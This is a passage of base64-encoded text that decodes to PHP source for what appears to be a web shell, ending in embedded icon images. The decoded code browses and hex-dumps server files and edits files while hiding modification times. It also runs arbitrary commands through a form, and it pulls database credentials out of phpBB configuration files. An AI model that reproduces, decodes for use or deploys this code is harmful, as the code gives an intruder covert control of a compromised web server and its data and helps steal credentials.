OiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF8iLiRleHQuIlwiIGJvcmRlcj1cIjBcIj4mbmJzcDsiLiRmLiIgKCIudmlld19zaXplKGZpbGVzaXplKCRkLiRmKSkuIikgJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Ii52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iPC9iPjxicj5TZWxlY3QgYWN0aW9uL2ZpbGUtdHlwZTo8YnI+IjsNCiAgICBmb3JlYWNoKCRhcnIgYXMgJHQpIHsNCiAgICAgIGlmICgkdFsxXSA9PSAkcmZ0KSB7ZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxmb250IGNvbG9yPWdyZWVuPiIuJHRbMF0uIjwvZm9udD48L2E+Ijt9DQogICAgICBlbHNlaWYgKCR0WzFdID09ICRmdCkge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj48dT4iLiR0WzBdLiI8L3U+PC9iPjwvYT4iO30NCiAgICAgIGVsc2Uge2VjaG8gIiA8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLiR0WzBdLiI8L2I+PC9hPiI7fQ0KICAgICAgZWNobyAiICg8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJndoaXRlPTEmZD0iLnVybGVuY29kZSgkZCkuIlwiIHRhcmdldD1cIl9ibGFua1wiPis8L2E+KSB8IjsNCiAgICB9DQogICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOw0KICAgIGlmICgkZnQgPT0gImluZm8iKSB7DQogICAgICBlY2hvICI8Yj5JbmZvcm1hdGlvbjo8L2I+PHRhYmxlIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPjxiPlBhdGg8L2I+PC90ZD48dGQ+ICIuJGQuJGYuIjwvdGQ+PC90cj48dHI+PHRkPjxiPlNpemU8L2I+PC90ZD48dGQ+ICIudmlld19zaXplKGZpbGVzaXplKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1ENTwvYj48L3RkPjx0ZD4gIi5tZDVfZmlsZSgkZC4kZikuIjwvdGQ+PC90cj4iOw0KICAgICAgaWYgKCEkd2luKSB7DQogICAgICAgIGVjaG8gIjx0cj48dGQ+PGI+T3duZXIvR3JvdXA8L2I+PC90ZD48dGQ+ICI7DQogICAgICAgICRvdyA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkZC4kZikpOw0KICAgICAgICAkZ3IgPSBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoJGQuJGYpKTsNCiAgICAgICAgZWNobyAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkLiRmKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQuJGYpKTsNCiAgICAgIH0NCiAgICAgIGVjaG8gIjx0cj48dGQ+PGI+UGVybXM8L2I+PC90ZD48dGQ+PGEgaHJlZj1cIiIuJHN1cmwuIng9Y2htb2QmZj0iLnVybGVuY29kZSgkZikuIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iPC9hPjwvdGQ+PC90cj48dHI+PHRkPjxiPkNyZWF0ZSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlY3RpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+QWNjZXNzIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVhdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5NT0RJRlkgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZW10aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAkZmkgPSBmb3BlbigkZC4kZiwicmIiKTsNCiAgICAgIGlmICgkZmkpIHsNCiAgICAgICAgaWYgKCRmdWxsaGV4ZHVtcCkge2VjaG8gIjxiPkZVTEwgSEVYRFVNUDwvYj4iOyAkc3RyID0gZnJlYWQoJGZpLGZpbGVzaXplKCRkLiRmKSk7fQ0KICAgICAgICBlbHNlIHtlY2hvICI8Yj5IRVhEVU1QIFBSRVZJRVc8L2I+IjsgJHN0ciA9IGZyZWFkKCRmaSwkaGV4ZHVtcF9saW5lcyokaGV4ZHVtcF9yb3dzKTt9DQogICAgICAgICRuID0gMDsNCiAgICAgICAgJGEwID0gIjAwMDAwMDAwPGJyPiI7DQogICAgICAgICRhMSA9ICIiOw0KICAgICAgICAkYTIgPSAiIjsNCiAgICAgICAgZm9yICgkaT0wOyAkaTxzdHJsZW4oJHN0cik7ICRpKyspIHsNCiAgICAgICAgICAkYTEgLj0gc3ByaW50ZigiJTAyWCIsb3JkKCRzdHJbJGldKSkuIiAiOw0KICAgICAgICAgIHN3aXRjaCAob3JkKCRzdHJbJGldKSkgew0KICAgICAgICAgICAgY2FzZSAwOiAgJGEyIC49ICI8Zm9udD4wPC9mb250PiI7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAzMjoNCiAgICAgICAgICAgIGNhc2UgMTA6DQogICAgICAgICAgICBjYXNlIDEzOiAkYTIgLj0gIiZuYnNwOyI7IGJyZWFrOw0KICAgICAgICAgICAgZGVmYXVsdDogJGEyIC49IGh0bWxzcGVjaWFsY2hhcnMoJHN0clskaV0pOw0KICAgICAgICAgIH0NCiAgICAgICAgICAkbisrOw0KICAgICAgICAgIGlmICgkbiA9PSAkaGV4ZHVtcF9yb3dzKSB7DQogICAgICAgICAgICAkbiA9IDA7DQogICAgICAgICAgICBpZiAoJGkrMSA8IHN0cmxlbigkc3RyKSkgeyRhMCAuPSBzcHJpbnRmKCIlMDhYIiwkaSsxKS4iPGJyPiI7fQ0KICAgICAgICAgICAgJGExIC49ICI8YnI+IjsNCiAgICAgICAgICAgICRhMiAuPSAiPGJyPiI7DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjx0YWJsZSBib3JkZXI9MSBiZ2NvbG9yPSM2NjY2NjY+Ii4NCiAgICAgICAgICAgICAiPHRyPjx0ZCBiZ2NvbG9yPSM2NjY2NjY+Ii4kYTAuIjwvdGQ+Ii4NCiAgICAgICAgICAgICAiPHRkIGJnY29sb3I9IzAwMDAwMD4iLiRhMS4iPC90ZD4iLg0KICAgICAgICAgICAgICI8dGQgYmdjb2xvcj0jMDAwMDAwPiIuJGEyLiI8L3RkPiIuDQogICAgICAgICAgICAgIjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICAgIH0NCiAgICAgICRlbmNvZGVkID0gIiI7DQogICAgICBpZiAoJGJhc2U2NCA9PSAxKSB7DQogICAgICAgIGVjaG8gIjxiPkJhc2U2NCBFbmNvZGU8L2I+PGJyPiI7DQogICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpOw0KICAgICAgfQ0KICAgICAgZWxzZWlmKCRiYXNlNjQgPT0gMikgew0KICAgICAgICBlY2hvICI8Yj5CYXNlNjQgRW5jb2RlICsgQ2h1bms8L2I+PGJyPiI7DQogICAgICAgICRlbmNvZGVkID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpKTsNCiAgICAgIH0NCiAgICAgIGVsc2VpZigkYmFzZTY0ID09IDMpIHsNCiAgICAgICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZSArIENodW5rICsgUXVvdGVzPC9iPjxicj4iOw0KICAgICAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKTsNCiAgICAgICAgJGVuY29kZWQgPSBzdWJzdHIocHJlZ19yZXBsYWNlKCIhLnsxLDc2fSEiLCInXFwwJy5cbiIsJGVuY29kZWQpLDAsLTIpOw0KICAgICAgfQ0KICAgICAgZWxzZWlmKCRiYXNlNjQgPT0gNCkgew0KICAgICAgICAkdGV4dCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsNCiAgICAgICAgJGVuY29kZWQgPSBiYXNlNjRfZGVjb2RlKCR0ZXh0KTsNCiAgICAgICAgZWNobyAiPGI+QmFzZTY0IERlY29kZSI7DQogICAgaWYgKGJhc2U2NF9lbmNvZGUoJGVuY29kZWQpICE9ICR0ZXh0KSB7ZWNobyAiIChmYWlsZWQpIjt9DQogICAgZWNobyAiPC9iPjxicj4iOw0KICAgfQ0KICAgaWYgKCFlbXB0eSgkZW5jb2RlZCkpDQogICB7DQogICAgZWNobyAiPHRleHRhcmVhIGNvbHM9ODAgcm93cz0xMD4iLmh0bWxzcGVjaWFsY2hhcnMoJGVuY29kZWQpLiI8L3RleHRhcmVhPjxicj48YnI+IjsNCiAgIH0NCiAgIGVjaG8gIjxiPkhFWERVTVA6PC9iPjxub2JyPiBbPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mZnVsbGhleGR1bXA9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCI+RnVsbDwvYT5dIFs8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZkPSIudXJsZW5jb2RlKCRkKS4iXCI+UHJldmlldzwvYT5dPGJyPjxiPkJhc2U2NDogPC9iPg0KICAgICAgICA8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTEmZD0iLnVybGVuY29kZSgkZCkuIlwiPkVuY29kZTwvYT5dJm5ic3A7PC9ub2JyPg0KICAgICAgICA8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTImZD0iLnVybGVuY29kZSgkZCkuIlwiPitjaHVuazwvYT5dJm5ic3A7PC9ub2JyPg0KICAgICAgICA8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTMmZD0iLnVybGVuY29kZSgkZCkuIlwiPitjaHVuaytxdW90ZXM8L2E+XSZuYnNwOzwvbm9icj4NCiAgICAgICAgPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND00JmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj5EZWNvZGU8L2E+XSZuYnNwOzwvbm9icj4NCiAgICAgICAgPFA+IjsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiaHRtbCIpIHsNCiAgIGlmICgkd2hpdGUpIHtAb2JfY2xlYW4oKTt9DQogICBlY2hvICRyOw0KICAgaWYgKCR3aGl0ZSkge2NhcHJpdjhleGl0KCk7fQ0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJ0eHQiKSB7ZWNobyAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHIpLiI8L3ByZT4iO30NCiAgZWxzZWlmICgkZnQgPT0gImluaSIpIHtlY2hvICI8cHJlPiI7IHZhcl9kdW1wKHBhcnNlX2luaV9maWxlKCRkLiRmLFRSVUUpKTsgZWNobyAiPC9wcmU+Ijt9DQogIGVsc2VpZiAoJGZ0ID09ICJwaHBzZXNzIikgew0KICAgZWNobyAiPHByZT4iOw0KICAgJHYgPSBleHBsb2RlKCJ8Iiwkcik7DQogICBlY2hvICR2WzBdLiI8YnI+IjsNCiAgIHZhcl9kdW1wKHVuc2VyaWFsaXplKCR2WzFdKSk7DQogICBlY2hvICI8L3ByZT4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJleGUiKSB7DQogICAkZXh0ID0gZXhwbG9kZSgiLiIsJGYpOw0KICAgJGMgPSBjb3VudCgkZXh0KS0xOw0KICAgJGV4dCA9ICRleHRbJGNdOw0KICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7DQogICAkcmZ0ID0gIiI7DQogICBmb3JlYWNoKCRleGVmdHlwZXMgYXMgJGs9PiR2KQ0KICAgew0KICAgIGlmIChpbl9hcnJheSgkZXh0LCR2KSkgeyRyZnQgPSAkazsgYnJlYWs7fQ0KICAgfQ0KICAgJGNtZCA9IHN0cl9yZXBsYWNlKCIlZiUiLCRmLCRyZnQpOw0KICAgZWNobyAiPGI+RXhlY3V0ZSBmaWxlOjwvYj48Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPWNtZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiY21kXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGNtZCkuIlwiIHNpemU9XCIiLihzdHJsZW4oJGNtZCkrMikuIlwiPjxicj5EaXNwbGF5IGluIHRleHQtYXJlYTxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiY21kX3R4dFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJGQpLiJcIj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiRXhlY3V0ZVwiPjwvZm9ybT4iOw0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJzZGIiKSB7ZWNobyAiPHByZT4iOyB2YXJfZHVtcCh1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRyKSkpOyBlY2hvICI8L3ByZT4iO30NCiAgZWxzZWlmICgkZnQgPT0gImNvZGUiKSB7DQogICAgaWYgKGVyZWcoInBocCIuIkJCIDIuKC4qKSBhdXRvLWdlbmVyYXRlZCBjb25maWcgZmlsZSIsJHIpKSB7DQogICAgICAkYXJyID0gZXhwbG9kZSgiXG4iLCRyKTsNCiAgICAgIGlmIChjb3VudCgkYXJyID09IDE4KSkgew0KICAgICAgICBpbmNsdWRlKCRkLiRmKTsNCiAgICAgICAgZWNobyAiPGI+cGhwQkIgY29uZmlndXJhdGlvbiBpcyBkZXRlY3RlZCBpbiB0aGlzIGZpbGUhPGJyPiI7DQogICAgICAgIGlmICgkZGJtcyA9PSAibXlzcWw0IikgeyRkYm1zID0gIm15c3FsIjt9DQogICAgICAgIGlmICgkZGJtcyA9PSAibXlzcWwiKSB7ZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuIng9c3FsJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYmhvc3QpLiImc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxjaGFycygkZGJ1c2VyKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJzKCRkYnBhc3N3ZCkuIiZzcWxfcG9ydD0zMzA2JnNxbF9kYj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRibmFtZSkuIlwiPjxiPjx1PkNvbm5lY3QgdG8gREI8L3U+PC9iPjwvYT48YnI+PGJyPiI7fQ0KICAgICAgICBlbHNlIHtlY2hvICJCdXQsIHlvdSBjYW4ndCBjb25uZWN0IHRvIGZvcnVtIHNxbC1iYXNlLCBiZWNhdXNlIGRiLXNvZnR3YXJlPVwiIi4kZGJtcy4iXCIgaXMgbm90IHN1cHBvcnRlZCBieSB0aGlzIHNoZWxsLiBQbGVhc2UsIHJlcG9ydCB1cyBmb3IgZml4LiI7fQ0KICAgICAgICBlY2hvICJQYXJhbWV0ZXJzIGZvciBtYW51YWwgY29ubmVjdDo8YnI+IjsNCiAgICAgICAgJGNmZ3ZhcnMgPSBhcnJheSgiZGJtcyI9PiRkYm1zLCJkYmhvc3QiPT4kZGJob3N0LCJkYm5hbWUiPT4kZGJuYW1lLCJkYnVzZXIiPT4kZGJ1c2VyLCJkYnBhc3N3ZCI9PiRkYnBhc3N3ZCk7DQogICAgICAgIGZvcmVhY2ggKCRjZmd2YXJzIGFzICRrPT4kdikge2VjaG8gaHRtbHNwZWNpYWxjaGFycygkaykuIj0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJzxicj4iO30NCiAgICAgICAgZWNobyAiPC9iPjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICAgIH0NCiAgICB9DQogICAgZWNobyAiPGRpdiBzdHlsZT1cImJvcmRlciA6IDBweCBzb2xpZCAjRkZGRkZGOyBwYWRkaW5nOiAxZW07IG1hcmdpbi10b3A6IDFlbTsgbWFyZ2luLWJvdHRvbTogMWVtOyBtYXJnaW4tcmlnaHQ6IDFlbTsgbWFyZ2luLWxlZnQ6IDFlbTsgYmFja2dyb3VuZC1jb2xvcjogIi4kaGlnaGxpZ2h0X2JhY2tncm91bmQgLiI7XCI+IjsNCiAgICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtAb2JfY2xlYW4oKTt9DQogICAgaGlnaGxpZ2h0X2ZpbGUoJGQuJGYpOw0KICAgIGlmICghZW1wdHkoJHdoaXRlKSkge2NhcHJpdjhleGl0KCk7fQ0KICAgIGVjaG8gIjwvZGl2PiI7DQogIH0NCiAgZWxzZWlmICgkZnQgPT0gImRvd25sb2FkIikgew0KICAgIEBvYl9jbGVhbigpOw0KICAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLmZpbGVzaXplKCRkLiRmKSk7DQogICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGYuIlwiOyIpOw0KICAgIGVjaG8gJHI7DQogICAgZXhpdDsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAibm90ZXBhZCIpIHsNCiAgICBAb2JfY2xlYW4oKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbiIpOw0KICAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmLiIudHh0XCI7Iik7DQogICAgZWNobygkcik7DQogICAgZXhpdDsNCiAgfQ0KICBlbHNlaWYgKCRmdCA9PSAiaW1nIikgew0KICAgICRpbmYgPSBnZXRpbWFnZXNpemUoJGQuJGYpOw0KICAgIGlmICghJHdoaXRlKSB7DQogICAgICBpZiAoZW1wdHkoJGltZ3NpemUpKSB7JGltZ3NpemUgPSAyMDt9DQogICAgICAkd2lkdGggPSAkaW5mWzBdLzEwMCokaW1nc2l6ZTsNCiAgICAgICRoZWlnaHQgPSAkaW5mWzFdLzEwMCokaW1nc2l6ZTsNCiAgICAgIGVjaG8gIjxjZW50ZXI+PGI+U2l6ZTo8L2I+Jm5ic3A7IjsNCiAgICAgICRzaXplcyA9IGFycmF5KCIxMDAiLCI1MCIsIjIwIik7DQogICAgICBmb3JlYWNoICgkc2l6ZXMgYXMgJHYpIHsNCiAgICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZkPSIudXJsZW5jb2RlKCRkKS4iJmltZ3NpemU9Ii4kdi4iXCI+IjsNCiAgICAgICAgaWYgKCRpbWdzaXplICE9ICR2ICkge2VjaG8gJHY7fQ0KICAgICAgICBlbHNlIHtlY2hvICI8dT4iLiR2LiI8L3U+Ijt9DQogICAgICAgIGVjaG8gIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgfQ0KICAgICAgZWNobyAiPGJyPjxicj48aW1nIHNyYz1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZ3aGl0ZT0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiB3aWR0aD1cIiIuJHdpZHRoLiJcIiBoZWlnaHQ9XCIiLiRoZWlnaHQuIlwiIGJvcmRlcj1cIjFcIj48L2NlbnRlcj4iOw0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgIEBvYl9jbGVhbigpOw0KICAgICAgJGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsNCiAgICAgICRleHQgPSAkZXh0W2NvdW50KCRleHQpLTFdOw0KICAgICAgaGVhZGVyKCJDb250ZW50LXR5cGU6ICIuJGluZlsibWltZSJdKTsNCiAgICAgIHJlYWRmaWxlKCRkLiRmKTsNCiAgICAgIGV4aXQ7DQogICAgfQ0KICB9DQogIGVsc2VpZiAoJGZ0ID09ICJlZGl0Iikgew0KICAgaWYgKCFlbXB0eSgkc3VibWl0KSkNCiAgIHsNCiAgICBpZiAoJGZpbGVzdGVhbHRoKSB7JHN0YXQgPSBzdGF0KCRkLiRmKTt9DQogICAgJGZwID0gZm9wZW4oJGQuJGYsInciKTsNCiAgICBpZiAoISRmcCkge2VjaG8gIjxiPkNhbid0IHdyaXRlIHRvIGZpbGUhPC9iPiI7fQ0KICAgIGVsc2UNCiAgICB7DQogICAgIGVjaG8gIjxiPlNhdmVkITwvYj4iOw0KICAgICBmd3JpdGUoJGZwLCRlZGl0X3RleHQpOw0KICAgICBmY2xvc2UoJGZwKTsNCiAgICAgaWYgKCRmaWxlc3RlYWx0aCkge3RvdWNoKCRkLiRmLCRzdGF0WzldLCRzdGF0WzhdKTt9DQogICAgICRyID0gJGVkaXRfdGV4dDsNCiAgICB9DQogICB9DQogICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCRyKSk7DQogICBpZiAoJHJvd3MgPCAxMCkgeyRyb3dzID0gMTA7fQ0KICAgaWYgKCRyb3dzID4gMzApIHskcm93cyA9IDMwO30NCiAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWVkaXQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNhdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInJlc2V0XCIgdmFsdWU9XCJSZXNldFwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxvY2F0aW9uLmhyZWY9JyIuYWRkc2xhc2hlcygkc3VybC4ieD1scyZkPSIuc3Vic3RyKCRkLDAsLTEpKS4iJztcIiB2YWx1ZT1cIkJhY2tcIj48YnI+PHRleHRhcmVhIG5hbWU9XCJlZGl0X3RleHRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkcikuIjwvdGV4dGFyZWE+PC9mb3JtPiI7DQogIH0NCiAgZWxzZWlmICghZW1wdHkoJGZ0KSkge2VjaG8gIjxjZW50ZXI+PGI+TWFudWFsbHkgc2VsZWN0ZWQgdHlwZSBpcyBpbmNvcnJlY3QuIElmIHlvdSB0aGluaywgaXQgaXMgbWlzdGFrZSwgcGxlYXNlIHNlbmQgdXMgdXJsIGFuZCBkdW1wIG9mIFwkR0xPQkFMUy48L2I+PC9jZW50ZXI+Ijt9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+VW5rbm93biBleHRlbnNpb24gKCIuJGV4dC4iKSwgcGxlYXNlLCBzZWxlY3QgdHlwZSBtYW51YWxseS48L2I+PC9jZW50ZXI+Ijt9DQp9DQplY2hvICI8L2Rpdj5cbiI7DQp9DQp9DQplbHNlIHsNCkBvYl9jbGVhbigpOw0KJGltYWdlcyA9IGFycmF5KA0KImFycm93X2x0ciI9Pg0KIlIwbEdPRGxoSmdBV0FJQUJBUC8vL3dBQUFDSDVCQUhvQXdFQUxBQUFBQUFtQUJZQUFBSXZqSStweSswUEY0aTBnVnZ6dVZ4WERub1FTSXJVWkdab2VyS2YyOEtqUE5QT2FrdTVSZlordVFzS2g4UmlvZ0FBT3c9PSIsDQoiYmFjayI9Pg0KIlIwbEdPRGxoRkFBVUFLSUFBQUFBQVAvLy85M2QzY0RBd0lhR2hnUUVCUC8vL3dBQUFDSDVCQUVBQUFZQUxBQUFBQUFVQUJRQUFBTTgiLg0KImFMcmMvakRLU1dXcGpWeXNTTmlZSjRDVU9CSm9xam5pSUx6d3V6THRZTi8zekJTRXJmNmtCVytnS1JpUFJnaFBoK0VGSzBtT1VFcXQiLg0KIldnMEpBRHM9IiwNCiJidWZmZXIiPT4NCiJSMGxHT0RsaEZBQVVBS0lBQUFBQUFQLy8vL2o0K04zZDNjek16TEt5c29hR2h2Ly8veUg1QkFFQUFBY0FMQUFBQUFBVUFCUUFBQU5vIi4NCiJlTHJjcmliRzkweTRGMUFtdTUrTmhZMmt4bDJDTUt3clFSU0d1VmpwNExtd0RBV3FpQUdGWENoZyt4aG5SQitwdExPaGFpMWNyRW1EIi4NCiJEbHd2NGNFQzQ2bWkyWWdKUUtheHNFR0RGbm5Hd1dEVEV6ajlqclBSZGJodUc4Q3IvMklOWklPRWhYc2JEd2tBT3c9PSIsDQoiY2hhbmdlIj0+DQoiUjBsR09EbGhGQUFVQU1RZkFMM2hqN25YK3BxbzFlankvZjdZQWNUYis4dmgrNkZ0SDU2V1p0dnIvUkFRRVplY3g5TGwvUFg2L3YzKyIuDQoiLzNlSHQ2cTg4ZUh1L1prZkgzeVZ5SXVRdCs3Mi9rT205OWZvL1A4QVptNTdya0dTNEhlejZwaWw5b2VwM0dabVp2Ly8veUg1QkFFQSIuDQoiQUI4QUxBQUFBQUFVQUJRQUFBV2Y0Q2VPWkdtZTZObXRMT3VsWCtjNFRWTlZRN2U5cUZ6Zmc0SEZvbmtkSkE1UzU0Y2JSQW9GeUVPQyIuDQoid1NpVXRtWWtrcmd3T0FlQTV6cnFhTGxkQmlOTUlKZUQyNjZYWVRnUURtNVJ4OG1kRytvQWJTWWRhSDRHYTNjOEpCTUphWFFHQlFnQSIuDQoiQ0hrakU0YVFrUTBBbFNJVGFuK1pBUXFraWlRUGoxQUZBYU1LRUtZakQzOVFyS3dLQWE4bkdRSzhBZ3UvQ3hUQ3NDTWV4c2ZJeGpETCIuDQoiek1zaEFEcz0iLA0KImRlbGV0ZSI9Pg0KIlIwbEdPRGxoRkFBVUFPWlpBUHo4L05QRnlOZ0hMczBZT3ZQejgvYjI5c2FjcE5YVjFmWDE5Y3dYT2ZEdzhLZW5wL241K2V0Z2V1bnAiLg0KIjZkY0dMTU1wUnVycTZwS1NrdHZiMisvdjcrMXdoM1IwZFBuUDE3aUFpcHh5ZWw5Zlg3ZGpjc2NTTTkzZDNaR1JrZUVzVGV2ZDRMQ3ciLg0KInNHUmtaR3BPVStJZlErRVFOb2g2ZmRJY1BlSGg0WVdGaGJKUVl2THk4dWkreG01dWJzeGNjT3g4a2NNNFV0WTlXZUFkUVltSmlmV3YiLg0KInZIeDhmTW5KeWNNM1VmM3Y4clJ1ZTk4T05iT3pzOVlGSzVTVWxLWW9QK1RrNU4wb1N1Zm41N1pHV3NRclI5a0lMNUNRa09QajQyVmwiLg0KIlplQVBOdWRBWDlzS01QdjcrMTVRVTV1Ym0zOS9mOGU1dTR4aWF0cmEydWJLejhQRHcrcGZlZTkvbE1LMHQ4MXJmZDhBS2YvLy93QUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLg0KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDSDUiLg0KIkJBRUFBRmtBTEFBQUFBQVVBQlFBQUFlc2dGbUNnNFNGaG9lSWhpVWZJSW1JTWxnUUI0NkdMQWxZUWthRlZWaFNBSVpMVDVjYkVZSTQiLg0KIlNUbzVNeE9maFF3QkExZ1lDaGNrUUJrMU93aUlBTEFDTGtneEppbFRCSTY5UkZoREZoNEhESlJaVkZnUFBGQlIwRmtOV0RkTUhBOEciLg0KIkJaVGFNQ0lTVmdNQzRJa1ZXQ2NhUFNpOTZPcUdORmhLSTA0ZGdyMFFXRmNLREwzQTR1T0lqVlpaQUJ4UUlXREJMa0lFUXJSb1FzSFEiLg0KImp3VkZIQmdpRUdRRklnUWFzWWtjU2JKUUlBQTciLA0KImRvd25sb2FkIj0+DQoiUjBsR09EbGhGQUFVQUxNSUFBRC9BQUNBQUlBQUFNR